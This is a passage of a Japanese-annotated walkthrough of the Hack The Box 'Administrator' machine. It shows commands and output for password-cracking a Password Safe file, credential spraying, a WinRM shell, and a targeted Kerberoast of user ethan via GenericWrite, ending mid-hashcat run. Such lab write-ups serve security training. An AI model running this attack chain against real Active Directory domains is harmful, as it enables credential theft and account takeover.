SMB 10.129.17.11 445 DC [+] administrator.htb\benjamin:NewPassw0rd!
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc winrm 10.129.17.11 -d administrator.htb -u 'benjamin' -p 'NewPassw0rd!'
WINRM 10.129.17.11 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\benjamin:NewPassw0rd!
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc ldap 10.129.17.11 -d administrator.htb -u benjamin -p 'NewPassw0rd!' --bloodhound --collection All --dns-server 10.129.17.11
LDAP 10.129.17.11 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
LDAP 10.129.17.11 389 DC [+] administrator.htb\benjamin:NewPassw0rd!
LDAP 10.129.17.11 389 DC Resolved collection methods: objectprops, rdp, container, acl, group, session, psremote, trusts, dcom, localadmin
LDAP 10.129.17.11 389 DC Done in 00M 16S
LDAP 10.129.17.11 389 DC Compressing output into /home/kali/.nxc/logs/DC_10.129.17.11_2026-07-26_035930_bloodhound.zip
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ mv -v /home/kali/.nxc/logs/DC_10.129.17.11_2026-07-26_035930_bloodhound.zip .
copied '/home/kali/.nxc/logs/DC_10.129.17.11_2026-07-26_035930_bloodhound.zip' -> './DC_10.129.17.11_2026-07-26_035930_bloodhound.zip'
removed '/home/kali/.nxc/logs/DC_10.129.17.11_2026-07-26_035930_bloodhound.zip'
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
15. 変更後資格情報の整理¶
michael
NewPassw0rd!
⇒winrm可能
benjamin
NewPassw0rd!
⇒winrm不可
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ smbclient //10.129.17.11/ADMIN$ -U 'benjamin%NewPassw0rd!'
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ smbclient //10.129.17.11/C$ -U 'benjamin%NewPassw0rd!'
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ smbclient //10.129.17.11/IPC$ -U 'benjamin%NewPassw0rd!'
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ smbclient //10.129.17.11/NETLOGON -U 'benjamin%NewPassw0rd!'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Oct 5 04:48:08 2024
.. D 0 Sat Oct 5 04:54:15 2024
5606911 blocks of size 4096. 2078203 blocks available
smb: \> exit
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ smbclient //10.129.17.11/SYSVOL -U 'benjamin%NewPassw0rd!'
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Oct 5 04:48:08 2024
.. D 0 Sat Oct 5 04:48:08 2024
administrator.htb Dr 0 Sat Oct 5 04:48:08 2024
5606911 blocks of size 4096. 2078203 blocks available
smb: \> exit
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
16. BenjaminでFTPを確認し、Backup.psafe3を取得¶
BenjaminはWinRMでは入れないが、FTPには入れる。SMB / WinRMだけで止めず、開いている認証サービスごとに試す。
ftpだった
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ lftp -u benjamin,'NewPassw0rd!' 10.129.17.11 -e 'mirror / ./ftp_download; bye'
New: 1 file, 0 symlinks
952 bytes transferred
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ tree ftp_download
ftp_download
└── Backup.psafe3
1 directory, 1 file
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ file ftp_download/Backup.psafe3
ftp_download/Backup.psafe3: Password Safe V3 database
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ cat ftp_download/Backup.psafe3
PWS3O���I&:ҫ�Y*�5Ջ�:W��y�G��k1I␦�rRA
��M��U�oj{F����=�m�a�SaM����z9�[�+�C^<�|�L@6��M<eQ�߬�Q���
�5_Q}_�
"֡�>I���u��e�r ���ZGak�k>YO]B"�����btw�Q�
��i���<B�g^��ƈELKAD�/P\j������D�]���^j����ԫ3�␦+Q>��h��B ������ȗi�Y��������q���o�x�!o�g>�%o�uc�q�-��t�ބ�-]z��q������̥5Զ
�(�4j8�J��H����tmh:��^���h�Nn����I{+�1���Gw,���rRFh;cp���SPM��>�5h>a�A$N�j�s{�Wk��Xí�[��;y�qY��!�ZM<� �O�c��k�N���0�Uy�k�5�9F�t
#
�\�9h?s=��~GL��b�����H3���&���C�3�pA�]�0���ҩ�|"h�Bk�����k�(v�G^~�E!&'�|&):A�*<|$D|���K
�]����B5[�we��{dzp�@���L=����u����dUI̦�҇-����9������,��Q�Si����CE��ڝ <l�j���墌მ"�C��rt;b���[�n]{)�KW)pPWS3-EOFPWS3-EOFZ�S�A�U�7�xDN�y �3�Q��<
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
17. Password SafeをJohnで解析¶
FTPから取得した Backup.psafe3 は Password Safe V3 database。GUIで開くにはマスターパスワードが必要なので、pwsafe2john でJohn用hashに変換して解析する。
pwsafe ftp_download/Backup.psafe3 ⇒マスターパスワードが必要。
python3 /usr/share/john/pwsafe2john.py ftp_download/Backup.psafe3 > psafe.hash
john psafe.hash --wordlist=/usr/share/wordlists/rockyou.txt
john --show psafe.hash
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ python3 /usr/share/john/pwsafe2john.py ftp_download/Backup.psafe3 > psafe.hash
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ john psafe.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 128/128 ASIMD 4x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tekieromucho (Backu)
1g 0:00:00:00 DONE (2026-07-26 04:23) 2.127g/s 13072p/s 13072c/s 13072C/s newzealand..iheartyou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
password safe 入っていなければ
sudo apt install passwordsafe
入っていれば
pwsafe Backup.psafe3
tekieromucho がマスターパスワード。
※（スクショ: スクリーンショット 2026-07-25 21.40.44.png / Password Safeのマスターパスワード入力画面） ※（スクショ: スクリーンショット 2026-07-25 21.41.02.png / 間違ったマスターパスワード時のエラー） ※（スクショ: スクリーンショット 2026-07-25 21.46.53.png / tekieromucho入力）
18. Password Safe内の資格情報を確認¶
Password Safeを開くと、Alexander / Emily / Emma のエントリが見える。ここで各ユーザーのパスワードを取り出し、SMB / WinRM にスプレーする。
※（スクショ: スクリーンショット 2026-07-25 21.53.21.png / Password Safe内のエントリ一覧） ※（スクショ: スクリーンショット 2026-08-02 14.49.14.png / Password Safe内のエントリ一覧） ※（スクショ: スクリーンショット 2026-08-02 14.52.40.png / Password Safeのパスワード表示ダイアログ）
alexander
UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily
UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma
WwANQWnmJnGV07WQN8bMS7FMAbjNur
for p in smb rdp winrm; do nxc $p 10.129.17.11 -u users.txt -p "tekieromucho" --continue-on-success; done
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ for p in smb rdp winrm; do nxc $p 10.129.17.11 -u users.txt -p pw.txt --continue-on-success; done
SMB 10.129.17.11 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.129.17.11 445 DC [-] administrator.htb\Administrator:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\krbtgt:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\olivia:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\michael:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\benjamin:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\emily:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\ethan:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\emma:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\Administrator:UXLCI5iETUsIBoFVTj8yQFKoHjXmb STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\krbtgt:UXLCI5iETUsIBoFVTj8yQFKoHjXmb STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\olivia:UXLCI5iETUsIBoFVTj8yQFKoHjXmb STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\michael:UXLCI5iETUsIBoFVTj8yQFKoHjXmb STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\benjamin:UXLCI5iETUsIBoFVTj8yQFKoHjXmb STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
SMB 10.129.17.11 445 DC [-] administrator.htb\ethan:UXLCI5iETUsIBoFVTj8yQFKoHjXmb STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\alexander:UXLCI5iETUsIBoFVTj8yQFKoHjXmb STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\emma:UXLCI5iETUsIBoFVTj8yQFKoHjXmb STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\Administrator:WwANQWnmJnGV07WQN8bMS7FMAbjNur STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\krbtgt:WwANQWnmJnGV07WQN8bMS7FMAbjNur STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\olivia:WwANQWnmJnGV07WQN8bMS7FMAbjNur STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\michael:WwANQWnmJnGV07WQN8bMS7FMAbjNur STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\benjamin:WwANQWnmJnGV07WQN8bMS7FMAbjNur STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\ethan:WwANQWnmJnGV07WQN8bMS7FMAbjNur STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\alexander:WwANQWnmJnGV07WQN8bMS7FMAbjNur STATUS_LOGON_FAILURE
SMB 10.129.17.11 445 DC [-] administrator.htb\emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur STATUS_LOGON_FAILURE
WINRM 10.129.17.11 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\Administrator:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\krbtgt:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\olivia:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\michael:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\benjamin:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\emily:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\ethan:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\emma:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\Administrator:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\krbtgt:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\olivia:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\michael:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\benjamin:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb (Pwn3d!)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\ethan:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\alexander:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\emma:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\Administrator:WwANQWnmJnGV07WQN8bMS7FMAbjNur
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\krbtgt:WwANQWnmJnGV07WQN8bMS7FMAbjNur
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\olivia:WwANQWnmJnGV07WQN8bMS7FMAbjNur
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\michael:WwANQWnmJnGV07WQN8bMS7FMAbjNur
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\benjamin:WwANQWnmJnGV07WQN8bMS7FMAbjNur
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\ethan:WwANQWnmJnGV07WQN8bMS7FMAbjNur
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\alexander:WwANQWnmJnGV07WQN8bMS7FMAbjNur
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.17.11 5985 DC [-] administrator.htb\emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
19. Emilyの資格情報でWinRMを確認¶
Password Safeから得た資格情報のうち、EmilyがSMB / WinRMで有効だった。
SMB 10.129.17.11 445 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
WINRM 10.129.17.11 5985 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb (Pwn3d!)
emily
UXLCI5iETUsIBoFVTj8yQFKoHjXmb
evil-winrm -i 10.129.17.11 -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ evil-winrm -i 10.129.17.11 -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily\Documents>
*Evil-WinRM* PS C:\Users\emily\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
=================== ============================================
administrator\emily S-1-5-21-1088858960-373806567-254189436-1112
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\emily\Documents>
20. Emilyでuser flag取得¶
EmilyでWinRMに入り、user flagを取得する。
flag検索
cmd /c "dir C:\Users\root.txt /s /b"
cmd /c "dir C:\root.txt /s /b"
*Evil-WinRM* PS C:\Users\emily\Documents> ipconfig; hostname; whoami; cat C:\Users\emily\Desktop\user.txt
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : .htb
IPv4 Address. . . . . . . . . . . : 10.129.17.11
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.129.0.1
dc
administrator\emily
<REDACTED_FLAG>
*Evil-WinRM* PS C:\Users\emily\Documents>
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ nxc ldap 10.129.17.11 -d administrator.htb -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --bloodhound --collection All --dns-server 10.129.17.11
LDAP 10.129.17.11 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
LDAP 10.129.17.11 389 DC [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
LDAP 10.129.17.11 389 DC Resolved collection methods: session, acl, rdp, trusts, dcom, group, psremote, objectprops, localadmin, container
LDAP 10.129.17.11 389 DC Done in 00M 16S
LDAP 10.129.17.11 389 DC Compressing output into /home/kali/.nxc/logs/DC_10.129.17.11_2026-07-26_044255_bloodhound.zip
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ mv -v /home/kali/.nxc/logs/DC_10.129.17.11_2026-07-26_044255_bloodhound.zip .
copied '/home/kali/.nxc/logs/DC_10.129.17.11_2026-07-26_044255_bloodhound.zip' -> './DC_10.129.17.11_2026-07-26_044255_bloodhound.zip'
removed '/home/kali/.nxc/logs/DC_10.129.17.11_2026-07-26_044255_bloodhound.zip'
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$
21. EmilyのGenericWriteでEthanをtargeted Kerberoast¶
Emilyで取得したBloodHoundを読み込ませたら、Ethanへのパスが出てきた。
※（スクショ: スクリーンショット 2026-07-25 22.10.48.png / Emily→Ethan の GenericWrite） ※（スクショ: スクリーンショット 2026-07-25 22.12.03.png / Emily→Domain Admins に直接パスがない確認）
EMILY@ADMINISTRATOR.HTB
-- GenericWrite -->
ETHAN@ADMINISTRATOR.HTB
targeted Kerberoast は、通常の Kerberoast と違い「もともとSPNが付いているユーザー」だけを待つ攻撃ではない。今回のようにユーザーへ GenericWrite がある場合、攻撃者側で一時的に Ethan にSPNを追加し、そのSPNに対するTGSを発行させる。取得したTGS hashはオフラインでクラックできるため、Ethanのパスワードが弱ければ平文パスワードまで到達できる。
ざっくり言うと、Emilyの GenericWrite を使って「EthanをKerberoast可能な状態に一瞬だけ変える」攻撃。実行後は追加したSPNを消す。
wget -O targetedKerberoast.py https://raw.githubusercontent.com/ShutdownRepo/targetedKerberoast/main/targetedKerberoast.py
python3 -m pip install impacket ldap3 dnspython
python3 targetedKerberoast.py -v \
-d administrator.htb \
-u emily \
-p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
--dc-ip 10.129.17.11 \
--request-user ethan \
-o ethan.hash
wget -O PowerView.ps1 https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
upload PowerView.ps1
Import-Module .\PowerView.ps1
Set-DomainObject -Identity 'ethan' -Set @{serviceprincipalname='nonexistent/OSCP'}
impacket-GetUserSPNs administrator.htb/emily:'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
-dc-ip 10.129.17.11 \
-request-user ethan \
-outputfile ethan2.hash
Set-DomainObject -Identity 'ethan' -Set @{serviceprincipalname='nonexistent/OSCP'}
Get-DomainSPNTicket -Identity 'ethan' -OutputFormat Hashcat
Get-DomainUser -Identity 'ethan' | Get-DomainSPNTicket -OutputFormat Hashcat
Set-DomainObject -Identity 'ethan' -Clear serviceprincipalname
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt
Set-DomainObject -Identity 'ethan' -Set @{serviceprincipalname='nonexistent/OSCP'}
Get-DomainUser -Identity 'ethan' | Get-DomainSPNTicket -OutputFormat Hashcat
Set-DomainObject -Identity 'ethan' -Clear serviceprincipalname
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ python3 targetedKerberoast.py -v \
-d administrator.htb \
-u emily \
-p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' \
--dc-ip 10.129.17.11 \
--request-user ethan \
-o ethan.hash
[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[VERBOSE] SPN added successfully for (ethan)
[+] Writing hash to file for (ethan)
[VERBOSE] SPN removed successfully for (ethan)
┌──(kali@kali)-[~/htb/Administrator/10.129.17.11]
└─$ hashcat -m 13100 ethan.hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #01: cpu--0x000, 1467/2935 MB (512 MB allocatable), 2MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
